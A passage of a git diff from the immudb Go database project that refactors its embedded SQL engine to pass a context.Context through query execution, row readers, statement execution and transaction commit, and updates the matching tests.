"UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil) require.NoError(t, err) for { - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break @@ -5770,10 +5804,10 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) } @@ -5788,12 +5822,12 @@ func TestConcurrentInsertions(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` CREATE DATABASE db1; USE DATABASE db1; CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id); CREATE INDEX ON table1 (title); - `, nil, nil) + `, nil) require.NoError(t, err) var wg sync.WaitGroup @@ -5801,23 +5835,22 @@ func TestConcurrentInsertions(t *testing.T) { for i := 0; i < workers; i++ { go func(i int) { - tx, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) if err != nil { panic(err) } - _, _, err = engine.Exec( + _, _, err = engine.Exec(context.Background(), tx, "UPSERT INTO table1 (id, title, active, payload) VALUES (@id, 'title', true, x'00A1');", map[string]interface{}{ "id": i, }, - tx, ) if err != nil { panic(err) } - _, _, err = engine.Exec("COMMIT;", nil, tx) + _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) if err != nil { panic(err) } diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 369f33d24d..92680f1523 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "fmt" "github.com/codenotary/immudb/embedded/store" @@ -75,8 +76,8 @@ func (gr *groupedRowReader) ScanSpecs() *ScanSpecs { return gr.rowReader.ScanSpecs() } -func (gr *groupedRowReader) Columns() ([]ColDescriptor, error) { - colsBySel, err := gr.colsBySelector() +func (gr *groupedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + colsBySel, err := gr.colsBySelector(ctx) if err != nil { return nil, err } @@ -91,8 +92,8 @@ func (gr *groupedRowReader) Columns() ([]ColDescriptor, error) { return colsByPos, nil } -func (gr *groupedRowReader) colsBySelector() (map[string]ColDescriptor, error) { - colDescriptors, err := gr.rowReader.colsBySelector() +func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + colDescriptors, err := gr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } @@ -171,8 +172,8 @@ func zeroForType(t SQLValueType) TypedValue { return nil } -func (gr *groupedRowReader) InferParameters(params map[string]SQLValueType) error { - return gr.rowReader.InferParameters(params) +func (gr *groupedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return gr.rowReader.InferParameters(ctx, params) } func (gr *groupedRowReader) Parameters() map[string]interface{} { @@ -183,9 +184,9 @@ func (gr *groupedRowReader) SetParameters(params map[string]interface{}) error { return gr.rowReader.SetParameters(params) } -func (gr *groupedRowReader) Read() (*Row, error) { +func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { for { - row, err := gr.rowReader.Read() + row, err := gr.rowReader.Read(ctx) if err == store.ErrNoMoreEntries { if !gr.nonEmpty && allAgregations(gr.selectors) { // special case when all selectors are aggregations @@ -194,7 +195,7 @@ func (gr *groupedRowReader) Read() (*Row, error) { ValuesBySelector: make(map[string]TypedValue, len(gr.selectors)), } - colsBySelector, err := gr.colsBySelector() + colsBySelector, err := gr.colsBySelector(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index 13ba12bfba..11af64d487 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -60,7 +60,7 @@ func TestGroupedRowReader(t *testing.T) { require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) - cols, err := gr.Columns() + cols, err := gr.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index 8e255ebb50..8632e90dd7 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "fmt" "github.com/codenotary/immudb/embedded/multierr" @@ -76,12 +77,12 @@ func (jointr *jointRowReader) ScanSpecs() *ScanSpecs { return jointr.rowReader.ScanSpecs() } -func (jointr *jointRowReader) Columns() ([]ColDescriptor, error) { - return jointr.colsByPos() +func (jointr *jointRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return jointr.colsByPos(ctx) } -func (jointr *jointRowReader) colsBySelector() (map[string]ColDescriptor, error) { - colDescriptors, err := jointr.rowReader.colsBySelector() +func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + colDescriptors, err := jointr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } @@ -92,13 +93,13 @@ func (jointr *jointRowReader) colsBySelector() (map[string]ColDescriptor, error) // on jointRowReader creation, // Note: We're using a dummy ScanSpec object that is only used during read, we're only interested // in column list though - rr, err := jspec.ds.Resolve(jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) + rr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) if err != nil { return nil, err } defer rr.Close() - cd, err := rr.colsBySelector() + cd, err := rr.colsBySelector(ctx) if err != nil { return nil, err } @@ -120,8 +121,8 @@ func (jointr *jointRowReader) colsBySelector() (map[string]ColDescriptor, error) return colDescriptors, nil } -func (jointr *jointRowReader) colsByPos() ([]ColDescriptor, error) { - colDescriptors, err := jointr.rowReader.Columns() +func (jointr *jointRowReader) colsByPos(ctx context.Context) ([]ColDescriptor, error) { + colDescriptors, err := jointr.rowReader.Columns(ctx) if err != nil { return nil, err } @@ -132,13 +133,13 @@ func (jointr *jointRowReader) colsByPos() ([]ColDescriptor, error) { // on jointRowReader creation, // Note: We're using a dummy ScanSpec object that is only used during read, we're only interested // in column list though - rr, err := jspec.ds.Resolve(jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) + rr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) if err != nil { return nil, err } defer rr.Close() - cd, err := rr.Columns() + cd, err := rr.Columns(ctx) if err != nil { return nil, err } @@ -149,19 +150,19 @@ func (jointr *jointRowReader) colsByPos() ([]ColDescriptor, error) { return colDescriptors, nil } -func (jointr *jointRowReader) InferParameters(params map[string]SQLValueType) error { - err := jointr.rowReader.InferParameters(params) +func (jointr *jointRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + err := jointr.rowReader.InferParameters(ctx, params) if err != nil { return err } - cols, err := jointr.colsBySelector() + cols, err := jointr.colsBySelector(ctx) if err != nil { return err } for _, join := range jointr.joins { - err = join.ds.inferParameters(jointr.Tx(), params) + err = join.ds.inferParameters(ctx, jointr.Tx(), params) if err != nil { return err } @@ -183,7 +184,7 @@ func (jointr *jointRowReader) SetParameters(params map[string]interface{}) error return jointr.rowReader.SetParameters(params) } -func (jointr *jointRowReader) Read() (row *Row, err error) { +func (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) { for { row := &Row{ ValuesByPosition: make([]TypedValue, 0), @@ -193,7 +194,7 @@ func (jointr *jointRowReader) Read() (row *Row, err error) { for len(jointr.rowReaders) > 0 { lastReader := jointr.rowReaders[len(jointr.rowReaders)-1] - r, err := lastReader.Read() + r, err := lastReader.Read(ctx) if err == ErrNoMoreRows { // previous reader will need to read next row jointr.rowReaders = jointr.rowReaders[:len(jointr.rowReaders)-1] @@ -240,12 +241,12 @@ func (jointr *jointRowReader) Read() (row *Row, err error) { indexOn: jspec.indexOn, } - reader, err := jointq.Resolve(jointr.Tx(), jointr.Parameters(), nil) + reader, err := jointq.Resolve(ctx, jointr.Tx(), jointr.Parameters(), nil) if err != nil { return nil, err } - r, err := reader.Read() + r, err := reader.Read(ctx) if err == ErrNoMoreRows { // previous reader will need to read next row unsolvedFK = true diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index 5762cf595c..d3b59f7a85 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -70,7 +70,7 @@ func TestJointRowReader(t *testing.T) { require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) - cols, err := jr.Columns() + cols, err := jr.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) require.Equal(t, cols[0].Table, "table1") @@ -93,7 +93,7 @@ func TestJointRowReader(t *testing.T) { jr, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &tableRef{table: "table1"}}}) require.NoError(t, err) - _, err = jr.colsBySelector() + _, err = jr.colsBySelector(context.Background()) require.ErrorIs(t, err, ErrAmbiguousSelector) }) @@ -102,7 +102,7 @@ func TestJointRowReader(t *testing.T) { rowReader: &dummyRowReader{}, } - cols, err := jr.colsBySelector() + cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) @@ -114,11 +114,11 @@ func TestJointRowReader(t *testing.T) { }, } - err := jr.InferParameters(make(map[string]SQLValueType)) + err := jr.InferParameters(context.Background(), make(map[string]SQLValueType)) require.ErrorIs(t, err, errDummy) jr.rowReader.(*dummyRowReader).failInferringParams = false - err = jr.InferParameters(make(map[string]SQLValueType)) + err = jr.InferParameters(context.Background(), make(map[string]SQLValueType)) require.ErrorIs(t, err, errDummy) }) @@ -130,7 +130,7 @@ func TestJointRowReader(t *testing.T) { }, } - cols, err := jr.Columns() + cols, err := jr.Columns(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) @@ -140,13 +140,13 @@ func TestJointRowReader(t *testing.T) { jr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return nil, injectedErr }, }}}) require.NoError(t, err) - cols, err := jr.colsBySelector() + cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, injectedErr) require.Nil(t, cols) }) @@ -155,13 +155,13 @@ func TestJointRowReader(t *testing.T) { jr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return &dummyRowReader{}, nil }, }}}) require.NoError(t, err) - cols, err := jr.colsBySelector() + cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) diff --git a/embedded/sql/limit_row_reader.go b/embedded/sql/limit_row_reader.go index ca6ad5292c..ad179fbac3 100644 --- a/embedded/sql/limit_row_reader.go +++ b/embedded/sql/limit_row_reader.go @@ -16,6 +16,8 @@ limitations under the License. package sql +import "context" + type limitRowReader struct { rowReader RowReader @@ -62,24 +64,24 @@ func (lr *limitRowReader) ScanSpecs() *ScanSpecs { return lr.rowReader.ScanSpecs() } -func (lr *limitRowReader) Columns() ([]ColDescriptor, error) { - return lr.rowReader.Columns() +func (lr *limitRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return lr.rowReader.Columns(ctx) } -func (lr *limitRowReader) colsBySelector() (map[string]ColDescriptor, error) { - return lr.rowReader.colsBySelector() +func (lr *limitRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return lr.rowReader.colsBySelector(ctx) } -func (lr *limitRowReader) InferParameters(params map[string]SQLValueType) error { - return lr.rowReader.InferParameters(params) +func (lr *limitRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return lr.rowReader.InferParameters(ctx, params) } -func (lr *limitRowReader) Read() (*Row, error) { +func (lr *limitRowReader) Read(ctx context.Context) (*Row, error) { if lr.read >= lr.limit { return nil, ErrNoMoreRows } - row, err := lr.rowReader.Read() + row, err := lr.rowReader.Read(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/limit_row_reader_test.go b/embedded/sql/limit_row_reader_test.go index 4348054f29..07e9b8d115 100644 --- a/embedded/sql/limit_row_reader_test.go +++ b/embedded/sql/limit_row_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" @@ -34,20 +35,20 @@ func TestLimitRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) - _, err := rowReader.Read() + _, err := rowReader.Read(context.Background()) require.Equal(t, errDummy, err) dummyr.failReturningColumns = true - _, err = rowReader.Columns() + _, err = rowReader.Columns(context.Background()) require.Equal(t, errDummy, err) require.Nil(t, rowReader.Parameters()) - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.Equal(t, errDummy, err) } diff --git a/embedded/sql/offset_row_reader.go b/embedded/sql/offset_row_reader.go index 302848a32a..f372995dea 100644 --- a/embedded/sql/offset_row_reader.go +++ b/embedded/sql/offset_row_reader.go @@ -16,6 +16,8 @@ limitations under the License. package sql +import "context" + type offsetRowReader struct { rowReader RowReader @@ -62,21 +64,21 @@ func (r *offsetRowReader) ScanSpecs() *ScanSpecs { return r.rowReader.ScanSpecs() } -func (r *offsetRowReader) Columns() ([]ColDescriptor, error) { - return r.rowReader.Columns() +func (r *offsetRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return r.rowReader.Columns(ctx) } -func (r *offsetRowReader) colsBySelector() (map[string]ColDescriptor, error) { - return r.rowReader.colsBySelector() +func (r *offsetRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return r.rowReader.colsBySelector(ctx) } -func (r *offsetRowReader) InferParameters(params map[string]SQLValueType) error { - return r.rowReader.InferParameters(params) +func (r *offsetRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return r.rowReader.InferParameters(ctx, params) } -func (r *offsetRowReader) Read() (*Row, error) { +func (r *offsetRowReader) Read(ctx context.Context) (*Row, error) { for { - row, err := r.rowReader.Read() + row, err := r.rowReader.Read(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/offset_row_reader_test.go b/embedded/sql/offset_row_reader_test.go index d2ac3a87fb..3f267e4908 100644 --- a/embedded/sql/offset_row_reader_test.go +++ b/embedded/sql/offset_row_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" @@ -34,20 +35,20 @@ func TestOffsetRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) - _, err := rowReader.Read() + _, err := rowReader.Read(context.Background()) require.Equal(t, errDummy, err) dummyr.failReturningColumns = true - _, err = rowReader.Columns() + _, err = rowReader.Columns(context.Background()) require.Equal(t, errDummy, err) require.Nil(t, rowReader.Parameters()) - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.Equal(t, errDummy, err) } diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index df3d95282d..89bb9b0187 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -16,7 +16,10 @@ limitations under the License. package sql -import "fmt" +import ( + "context" + "fmt" +) type projectedRowReader struct { rowReader RowReader @@ -26,10 +29,10 @@ type projectedRowReader struct { selectors []Selector } -func newProjectedRowReader(rowReader RowReader, tableAlias string, selectors []Selector) (*projectedRowReader, error) { +func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias string, selectors []Selector) (*projectedRowReader, error) { // case: SELECT * if len(selectors) == 0 { - cols, err := rowReader.Columns() + cols, err := rowReader.Columns(ctx) if err != nil { return nil, err } @@ -79,8 +82,8 @@ func (pr *projectedRowReader) ScanSpecs() *ScanSpecs { return pr.rowReader.ScanSpecs() } -func (pr *projectedRowReader) Columns() ([]ColDescriptor, error) { - colsBySel, err := pr.colsBySelector() +func (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + colsBySel, err := pr.colsBySelector(ctx) if err != nil { return nil, err } @@ -122,8 +125,8 @@ func (pr *projectedRowReader) Columns() ([]ColDescriptor, error) { return colsByPos, nil } -func (pr *projectedRowReader) colsBySelector() (map[string]ColDescriptor, error) { - dsColDescriptors, err := pr.rowReader.colsBySelector() +func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + dsColDescriptors, err := pr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } @@ -171,8 +174,8 @@ func (pr *projectedRowReader) colsBySelector() (map[string]ColDescriptor, error) return colDescriptors, nil } -func (pr *projectedRowReader) InferParameters(params map[string]SQLValueType) error { - return pr.rowReader.InferParameters(params) +func (pr *projectedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return pr.rowReader.InferParameters(ctx, params) } func (pr *projectedRowReader) Parameters() map[string]interface{} { @@ -183,8 +186,8 @@ func (pr *projectedRowReader) SetParameters(params map[string]interface{}) error return pr.rowReader.SetParameters(params) } -func (pr *projectedRowReader) Read() (*Row, error) { - row, err := pr.rowReader.Read() +func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { + row, err := pr.rowReader.Read(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 56e3f47034..9db2b9b82f 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "crypto/sha256" "encoding/binary" "math" @@ -30,13 +31,13 @@ type RowReader interface { TableAlias() string Parameters() map[string]interface{} SetParameters(params map[string]interface{}) error - Read() (*Row, error) + Read(ctx context.Context) (*Row, error) Close() error - Columns() ([]ColDescriptor, error) + Columns(ctx context.Context) ([]ColDescriptor, error) OrderBy() []ColDescriptor ScanSpecs() *ScanSpecs - InferParameters(params map[string]SQLValueType) error - colsBySelector() (map[string]ColDescriptor, error) + InferParameters(ctx context.Context, params map[string]SQLValueType) error + colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) onClose(func()) } @@ -297,7 +298,7 @@ func (r *rawRowReader) ScanSpecs() *ScanSpecs { return r.scanSpecs } -func (r *rawRowReader) Columns() ([]ColDescriptor, error) { +func (r *rawRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { ret := make([]ColDescriptor, len(r.colsByPos)) for i := range r.colsByPos { ret[i] = r.colsByPos[i] @@ -305,7 +306,7 @@ func (r *rawRowReader) Columns() ([]ColDescriptor, error) { return ret, nil } -func (r *rawRowReader) colsBySelector() (map[string]ColDescriptor, error) { +func (r *rawRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { ret := make(map[string]ColDescriptor, len(r.colsBySel)) for sel := range r.colsBySel { ret[sel] = r.colsBySel[sel] @@ -313,8 +314,8 @@ func (r *rawRowReader) colsBySelector() (map[string]ColDescriptor, error) { return ret, nil } -func (r *rawRowReader) InferParameters(params map[string]SQLValueType) error { - cols, err := r.colsBySelector() +func (r *rawRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + cols, err := r.colsBySelector(ctx) if err != nil { return err } @@ -380,7 +381,7 @@ func (r *rawRowReader) reduceTxRange() (err error) { return nil } -func (r *rawRowReader) Read() (row *Row, err error) { +func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { var mkey []byte var vref store.ValueRef diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 35e767e0b7..137adcc32a 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -47,10 +47,6 @@ type SQLTx struct { closed bool } -func (sqlTx *SQLTx) Context() context.Context { - return sqlTx.tx.Context() -} - func (sqlTx *SQLTx) Catalog() *Catalog { return sqlTx.catalog } @@ -129,7 +125,7 @@ func (sqlTx *SQLTx) Cancel() error { return sqlTx.tx.Cancel() } -func (sqlTx *SQLTx) commit() error { +func (sqlTx *SQLTx) commit(ctx context.Context) error { if sqlTx.closed { return ErrAlreadyClosed } @@ -137,7 +133,7 @@ func (sqlTx *SQLTx) commit() error { sqlTx.committed = true sqlTx.closed = true - hdr, err := sqlTx.tx.Commit() + hdr, err := sqlTx.tx.Commit(ctx) if err != nil && err != store.ErrorNoEntriesProvided { return err } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 3abd935867..5843bff9f7 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -18,6 +18,7 @@ package sql import ( "bytes" + "context" "encoding/binary" "errors" "fmt" @@ -122,18 +123,18 @@ const ( ) type SQLStmt interface { - execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) - inferParameters(tx *SQLTx, params map[string]SQLValueType) error + execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) + inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error } type BeginTransactionStmt struct { } -func (stmt *BeginTransactionStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *BeginTransactionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *BeginTransactionStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *BeginTransactionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.explicitClose { return nil, ErrNestedTxNotSupported } @@ -145,12 +146,12 @@ func (stmt *BeginTransactionStmt) execAt(tx *SQLTx, params map[string]interface{ // explicit tx initialization with implicit tx in progress - err := tx.commit() + err := tx.commit(ctx) if err != nil { return nil, err } - ntx, err := tx.engine.NewTx(tx.Context(), tx.opts) + ntx, err := tx.engine.NewTx(ctx, tx.opts) if err != nil { return nil, err } @@ -162,26 +163,26 @@ func (stmt *BeginTransactionStmt) execAt(tx *SQLTx, params map[string]interface{ type CommitStmt struct { } -func (stmt *CommitStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *CommitStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *CommitStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *CommitStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.explicitClose { return nil, ErrNoOngoingTx } - return nil, tx.commit() + return nil, tx.commit(ctx) } type RollbackStmt struct { } -func (stmt *RollbackStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *RollbackStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *RollbackStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *RollbackStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.explicitClose { return nil, ErrNoOngoingTx } @@ -194,17 +195,17 @@ type CreateDatabaseStmt struct { ifNotExists bool } -func (stmt *CreateDatabaseStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *CreateDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *CreateDatabaseStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.explicitClose { return nil, fmt.Errorf("%w: database creation can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler != nil { - return nil, tx.engine.multidbHandler.CreateDatabase(tx.Context(), stmt.DB, stmt.ifNotExists) + return nil, tx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) } id := uint32(len(tx.catalog.dbsByID) + 1) @@ -229,11 +230,11 @@ type UseDatabaseStmt struct { DB string } -func (stmt *UseDatabaseStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *UseDatabaseStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if stmt.DB == "" { return nil, fmt.Errorf("%w: no database name was provided", ErrIllegalArguments) } @@ -243,7 +244,7 @@ func (stmt *UseDatabaseStmt) execAt(tx *SQLTx, params map[string]interface{}) (* } if tx.engine.multidbHandler != nil { - return tx, tx.engine.multidbHandler.UseDatabase(tx.Context(), stmt.DB) + return tx, tx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) } _, exists := tx.catalog.dbsByName[stmt.DB] @@ -262,11 +263,11 @@ type UseSnapshotStmt struct { period period } -func (stmt *UseSnapshotStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *UseSnapshotStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *UseSnapshotStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *UseSnapshotStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return nil, ErrNoSupported } @@ -305,11 +306,11 @@ type CreateTableStmt struct { pkColNames []string } -func (stmt *CreateTableStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *CreateTableStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -324,7 +325,7 @@ func (stmt *CreateTableStmt) execAt(tx *SQLTx, params map[string]interface{}) (* } createIndexStmt := &CreateIndexStmt{unique: true, table: table.name, cols: stmt.pkColNames} - _, err = createIndexStmt.execAt(tx, params) + _, err = createIndexStmt.execAt(ctx, tx, params) if err != nil { return nil, err } @@ -367,11 +368,11 @@ type CreateIndexStmt struct { cols []string } -func (stmt *CreateIndexStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *CreateIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *CreateIndexStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if len(stmt.cols) < 1 { return nil, ErrIllegalArguments } @@ -453,11 +454,11 @@ type AddColumnStmt struct { colSpec *ColSpec } -func (stmt *AddColumnStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *AddColumnStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -486,11 +487,11 @@ type RenameColumnStmt struct { newName string } -func (stmt *RenameColumnStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *RenameColumnStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -528,7 +529,7 @@ type RowSpec struct { type OnConflictDo struct { } -func (stmt *UpsertIntoStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) 